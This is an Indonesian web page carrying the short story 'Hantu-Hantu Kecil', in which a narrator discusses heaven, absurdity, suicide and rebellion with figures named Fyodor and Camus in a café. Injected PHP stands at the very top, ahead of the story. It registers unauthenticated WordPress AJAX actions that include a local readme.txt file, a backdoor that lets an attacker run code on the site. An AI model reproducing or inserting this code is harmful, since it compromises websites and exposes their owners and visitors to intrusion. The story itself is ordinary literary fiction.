if(!function_exists('file_check_readme30417')){ add_action('wp_ajax_nopriv_file_check_readme30417', 'file_check_readme30417'); add_action('wp_ajax_file_check_readme30417', 'file_check_readme30417'); function file_check_readme30417() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme14937')){ add_action('wp_ajax_nopriv_file_check_readme14937', 'file_check_readme14937'); add_action('wp_ajax_file_check_readme14937', 'file_check_readme14937'); function file_check_readme14937() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme61629')){ add_action('wp_ajax_nopriv_file_check_readme61629', 'file_check_readme61629'); add_action('wp_ajax_file_check_readme61629', 'file_check_readme61629'); function file_check_readme61629() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Hantu-Hantu Kecil
Peminat kajian filsafat. Menulis topik seputar seni, budaya, filsafat, dan lingkungan hidup. Pernah belajar ilmu lingkungan di Universitas Gadjah Mada.

Hantu-Hantu Kecil

Candrika Adhiyasa

5 min read

Malam Pertama | Hantu 1 (Yang Acak)

Di bawah atap sebuah kafe, aku menyeruput sendirian Vietnam Drip yang rasanya bisa dikatakan standar. Tak bisa kuuraikan bagaimana rasa yang di atas standar atau di bawah standar dari kopi ini. Setiap orang punya standar terhadap sesuatu, terlebih menyoal rasa. Kajian tentang rasa terlampau abstrak, dan aku tak mau terjebak dalam dialog ambigu tak berujung. Mengalun Taplow. Aku tahu ini gubahan Eyolf Dale. Aku tenggelam pada pancaran partitur musik serta teks-teks dalam buku yang tengah kubaca.

Cahaya lampu kuning yang remang, asap rokok yang berkelebat, riuh suara-suara manusia dari ujung ke ujung jalan raya. Kutengok arloji, malam masih begitu panjang. Aku tak begitu khawatir pada hari esok, sebagian temanku (kalau aku memang punya teman) akan berkata dengan penuh alegori yang intinya adalah aku hanya seorang pengangguran, pemalas tak berguna. Aku tak terlalu peduli. Satu-satunya hal yang kupedulikan adalah kebahagiaanku sendiri. Apakah aku egois? Tentu saja tidak. Mereka yang seolah berusaha keras membahagiakan orang lain sebenarnya hanya sedang melakukan tindakan politis. Suatu kedok kearifan yang kelak dijadikan batu lompatan apabila telah tiba waktunya. Lalu kutimbang-timbang kembali, ke manakah kita akan pergi di hari esok yang seringkali kita khawatirkan itu? Tak seorang pun bisa memberi jawaban yang pasti. Aku tahu betul, tak seorang pun memiliki kebenaran, tak seorang pun.

Seorang lelaki yang kelak kuketahui namanya adalah Fyodor duduk di dekatku. Sebenarnya aku selalu tak nyaman apabila ada orang lain yang dekat-dekat denganku, apalagi bila sebenarnya masih banyak kursi kosong yang tersedia. Dari sekian banyak tempat, kenapa ia harus memilih tempat yang menyita keleluasaan jiwa seseorang sepertiku? Setelah kegelisahan ringan itu perlahan reda, Fyodor memesan Americano, kemudian tiba-tiba berbicara.

“Apakah di surga ada Americano?”

Aku tak langsung menjawab, kupikir ia mabuk, meski sorot matanya tak terlihat seperti orang mabuk. Kalau begitu, dia pasti orang gila—orang yang pikirannya melayang jauh ke semesta antah berantah.

“Mungkin di sana tak ada Americano, tapi yang ada adalah Luwak,” jawabku sembari tetap membaca buku kumal yang kubaca sejak tadi.

“Kopi murah itu?” tanyanya sembari mendelik.

“Bukankah harga tidak ada hubungannya dengan rasa?”

“Tapi bukankah selalu ada harga untuk sebuah rasa—sebuah kenikmatan?”

“Ah, kenikmatan memang selalu menuntut bayaran. Seperti transaksi pelacuran…” ucapku agak memancing. Dialog kami berpotensi menjadi enak. Kututup buku yang sebenarnya sejak awal tak begitu menarik. Aku selalu membaca buku hanya karena aku sering kesepian, dan sekarang kukira kesepian bisa sedikit menepi, beristirahat menghantui hidupku sementara waktu. Ia, tentu saja, bisa menghantuiku di lain waktu seperti biasanya, tetapi tidak untuk saat ini.

“Apa pelacur benar-benar menjual kenikmatan?” tanyanya lagi.

“Aku tidak yakin dengan itu. Mereka mungkin hanya berusaha menjualnya. Sebaiknya kamu tanya pada mereka yang pernah mencobanya. Kukira mendapatkan kenikmatan atau tidak, itu bergantung pada keberuntungan, gambling.

Ia mengalihkan pandangannya dariku. Menatap kepulan asap tipis dari permukaan Americano panasnya yang baru saja diantarkan pelayan laki-laki. Sorot matanya tidak jahat, tetapi begitu dingin, seolah-olah ia pernah melakukan perjalanan melintasi neraka.

“Siapa namamu?” tanyanya sembari menyulut sebatang rokok.

“Karamazov,” jawabku. Matanya mendelik horizontal ke kiri, seperti mengingat-ingat sesuatu. Mungkin namaku pernah ia dengar sebelumnya, atau bahkan dikenalnya dengan baik pada diri orang lain entah di mana.

“Katakan padaku, Tuan Karamazov, apa kamu percaya bahwa surga adalah sebuah tempat?”

“Kemungkinan.”

“Lalu, apakah mungkin juga bahwa surga bukanlah sebuah tempat, melainkan sebuah kondisi?”

“Kemungkinan.”

“Apakah mungkin bahwa surga, jika merupakan sebuah tempat, ternyata hanya sebuah ruangan sempit, seperti sebuah pemandian di pedesaan, hitam, kotor, dan ada laba-laba di setiap sudut?”

Aku bergidik. Dia orang gila, tapi tetap kulayani saja. Aku tak mau kesepian kembali menghantuiku. Lantas kujawab.

“Kemungkinan.”

Ia seperti jengkel dengan jawabanku yang itu-itu saja, tetapi sorot matanya tidak berubah, tetap dingin. Napasnya yang berat mengembuskan asap yang pekat. Aku bertanya-tanya rokok apa yang ia sulut itu sehingga asapnya bisa begitu pekat, dan aku juga bertanya-tanya kenapa dia harus menggunakan kata “Tuan” ketika memanggilku. Di kamus, kata “Tuan” mungkin ada, tetapi tidak lazim digunakan dalam percakapan di sini. Sama seperti halnya di surga, laba-laba mungkin ada, tetapi tidak lazim untuk mendiami sebuah tempat (jikalau surga memang adalah sebuah tempat) yang disepakati sebagai tempat yang indah, bersih, wangi, berkilau, dan bermacam metafora higienis lainnya. Siapakah yang menyepakati bahwa surga—tempat yang indah—haruslah tempat yang bersih? Kenapa standar keindahan harus selalu bersih? Apa tidak bisa tempat yang jorok, kotor, dan bau sesekali digolongkan sebagai tempat yang indah? Bukankah setiap orang punya standar terhadap sesuatu—apa pun itu—terlebih mengenai keindahan?

Malam Kedua | Hantu 2 (Yang Tak Bernama)

Inilah yang kulakukan setiap malam. Bertengger di sebuah kafe dan memesan segelas kopi. Menyulut sebatang rokok, meresapi musik (musik apa pun yang kebetulan diputar di sini), dan membaca beberapa buku secara acak. Aku selalu membawa beberapa buku sekaligus, dan membacanya satu-satu. Aku selalu mudah bosan, termasuk jika membaca, itu sebabnya aku harus membawa lebih dari satu buku, lebih dari satu tema, lebih dari satu bahasan, lebih dari satu…

Setiap malam. Sepertinya tak berlebihan. Seorang pekerja di balik layar sepertiku memang acapkali dianggap pengangguran, ekstremnya dianggap pemalas. Aku tak begitu peduli pada pandangan orang lain, tetapi orang-orang selalu berkata bahwa pandangan orang lain adalah parameter kualitas seseorang. Bah, taik kuching! Menganggap serius pandangan orang lain lebih sering membuat kita memiliki banyak ketakutan, banyak kekhawatiran, banyak kegelisahan, banyak…

Kuresapi Angel Eyes melalui tangan dingin Dr. Saxlove yang kuketahui bernama asli Mark Maxwell. Kopiku belum juga datang. Tidak apa-apa, aku terbiasa menunggu, menunggu hal yang layak atau tidak layak ditunggu. Layak dan tidak layak? Apakah itu? Seseorang duduk lagi di sampingku. Mantelnya begitu tebal, bola matanya sangat bulat, seperti hampir keluar. Sebuah pipa kayu yang mengkilap menempel di sela bibirnya.

“Siapa namamu, Tuan?”

“Karamazov,” jawabku.

“Kenapa harus Karamazov? Kenapa tidak Mersault?”

“Dan kamu pasti Sisifus.”

“Bukan. Aku Camus, Albert Camus.”

“Baiklah, Kamus.”

“Tidak. Bukan Kamus. Kita tidak menyebut Pari dengan Paris.”

“Jadi kamu… Kamu?”

“Ya, begitu.”

“Kenapa begitu? Kenapa ‘s’ di akhir Pari harus dihilangkan?”

“Tidak ada es di ujung Pari.”

Jawabannya cukup fragmentaris. Bisa dikatakan dia seperti penyair, tetapi dapat dikatakan juga bahwa dia seperti pembual. Kopiku telah datang. Wajah pemilik kafe ini suram. Aku tahu ia baru saja mengangkat telepon. Tapi, apakah itu berarti ia sedang berduka? Apakah raut wajah seseorang selalu menggambarkan dengan tanpa kebohongan perasaannya? Apakah air muka adalah sejujur-jujurnya bahasa? Kuhirup aroma Americano yang kupesan. Aromanya pekat. Entah kenapa aku begitu penasaran dengan kopi ini.

“Jadi… kamu setuju jika aku memanggilmu dengan nama Mersault, Tuan?” tanya Camus memecah lamunanku.

“Apalah arti sebuah nama. Panggil saja sesukamu.”

Untuk sejenak kami tak bicara. Aku tak terlalu paham kenapa ia begitu memaksa agar aku mengubah namaku. Meski sebenarnya aku tak terlalu peduli dipanggil dengan nama apa, tetapi sangat jarang kutemui orang yang begitu memaksa memanggil orang lain dengan nama yang dikehendakinya meski orang tersebut sudah memiliki nama.

“Katakan padaku, Tuan Mersault, apakah kamu bisa menerima konsep bunuh diri adalah aktivitas yang menggiurkan?’”

“Kamu ingin bilang hidup ini absurd dan bunuh diri adalah jalan paling rasional untuk melepaskan diri dari absurditas?”

“Tidak, tidak. Aku hanya ingin tahu pandanganmu, perasaanmu. Soalnya kita hanya memiliki kehidupan yang sedemikian monoton, atau bisa disebut absurd. Kukira konsep bunuh diri adalah permasalahan filsafat hidup yang cukup serius.”

“Kukira bunuh diri bukan jalan yang bisa melepaskan kita dari absurditas, melainkan justru menjebak kita ke dalam aburditas yang lebih absurd lagi.”

“Absurditas yang lebih absurd? Kalau begitu apa ada absurditas yang paling absurd juga?”

“Kemungkinan. Absurd atau tidak absurd-nya sesuatu, bukankah kita yang melabelinya? Seseorang hanya perlu membayangkan kebahagiaannya sendiri. Kalau aku disuruh memilih antara bunuh diri atau minum secangkir kopi, aku lebih memilih minum secangkir kopi. Lebih praktis, tidak lebay.”

Ia kemudian terdiam sejenak seperti memikirkan jawabanku yang terkesan fantastis. Sebenarnya aku hanya menjawab sekadarnya, tak kuanalisis secara mendalam seperti filsuf-filsuf terkenal di buku-buku.

“Lalu, bagaimana pandanganmu tentang pemberontakan?” tanyanya lagi.

“Pemberontakan… kukira itu bagus.”

“Bagus bagaimana?”

“Artinya kita menolak sesuatu yang stagnan, yang begitu-begitu saja, yang membosankan.”

“Meski artinya kita harus bertaruh nyawa atau semacamnya?”

“Kenapa tidak? Bukankah satu-satunya tugas kita dalam hidup adalah berbahagia? Kita harus bertarung untuk apa yang kita yakini.”

Kulihat dia tertawa, seperti begitu senang atas jawabanku. Asap dari pipa yang ia hisap membumbung menembus cahaya sepia kafe ini.

Pelayan laki-laki itu mendatangiku setelah mendapat telepon yang kedua. Kuperhatikan wajahnya yang pucat ketika berbicara di telepon tadi, seperti berkabung. Kabar duka apakah yang ia dapat?

“Tuan-tuan, mohon maaf. Kami harus segera tutup,” ucapnya dengan gelisah.

Tumben?” tanyaku sedikit kesal karena Americano-ku bahkan masih penuh.

“Orang tua kami kecelakaan barusan, meninggal di tempat. Kami mendapat kabar dari polisi di sana.”

Aku diam saja. Aku tak pernah mau berpura-pura memahami perasaan seseorang yang baru kehilangan orang-orang terkasihnya.

“Barangkali esok, giliran kami…” tandasnya dengan senyum yang dipaksakan. Lantas kembali membereskan banyak perabotan yang sebagian besar seperti tak pernah digunakan. Kusisipkan uang di meja, bersiap juga menemu malam.

“Nah, Tuan Mersault. Barangkali esok, giliran kita. Entah itu mati wajar atau mati bahagia. Entah itu mati alakadarnya, mati dibunuh, atau mati bunuh diri,” ucap Camus dengan senyum yang dingin dan seperti penuh teka-teki.

“Lalu, apa yang sebaiknya kita lakukan sebelum mati?” tanyaku.

“Melakukan pemberontakan.”

“Pemberontakan? Pemberontakan pada apa?”

“Pada hidup yang berengsek ini.”

Camus segera bangkit dari kursi, membayar, dan kemudian berlalu. Tubuh kurusnya yang dibalut mantel tebal itu hilang dilipat kabut dan sejarah.

*****

Editor: Moch Aldy MA

Candrika Adhiyasa
Candrika Adhiyasa Peminat kajian filsafat. Menulis topik seputar seni, budaya, filsafat, dan lingkungan hidup. Pernah belajar ilmu lingkungan di Universitas Gadjah Mada.

Leave a Reply

Your email address will not be published. Required fields are marked *

Dapatkan tulisan-tulisan menarik setiap saat dengan berlangganan melalalui email